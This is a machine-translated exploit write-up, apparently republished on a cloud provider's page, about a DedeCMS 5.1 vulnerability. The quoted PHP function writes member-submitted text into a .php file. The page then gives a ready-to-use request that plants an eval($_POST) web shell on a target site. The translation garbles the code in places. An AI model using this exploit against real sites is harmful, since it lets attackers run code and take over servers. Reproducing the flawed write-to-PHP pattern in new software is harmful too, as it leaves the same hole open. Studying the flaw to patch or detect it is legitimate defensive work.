Dedecms 5.1 Direct write to Horse vulnerability

Source: Internet
Author: User

The

was first found in http://groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
after research. can be very convenient to write a pony, the premise is the server open membership system, and there are categories in the book serialization. The
Vulnerability code is as follows:
include/inc_bookfunctions.php

Function Writebooktext ($cid, $body)
{
        global $cfg _cmspath, $cfg _basedir;
        $ipath = $cfg _cmspath. " /data/textdata ";
        $tpath = ceil ($cid/5000);
        if (!is_dir ($cfg _basedir. $ipath)) Mkdirall ($cfg _basedir. $ipath, $ globals[' Cfg_dir_purview ']);
        if (!is_dir ($cfg _basedir. $ipath.) /'. $tpath)) Mkdirall ($cfg _basedir. $ipath. /'. $tpath, $GLOBALS [' Cfg_dir_purview ']);
        $bookfile = $cfg _basedir. $ipath. " /{$tpath}/bk{$cid}.php ";
        $body = "<". php/r/n ". $body." /r/n? "." > ";
        @ $fp = fopen ($bookfile, ' w ');
  @flock ($FP);
  @fwrite ($fp, $body);
  @fclose ($FP);
}


member/story_add_content_action.php

Writebooktext ($arcID, Addslashes ($body));

As you can see, it's just escaped with Addslashes. But $body = "<"? php/r/n ". $body." /r/n? "." > "; it's obvious that you can write to a pony. Oh.

Utilization method
Http://www.target.com/member/story_add_content_action.php?body=eval ($_post[c]); &chapterid=1
This creates a pony in the data/textdata/directory. Default is data/textdata/1/bk1.php


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.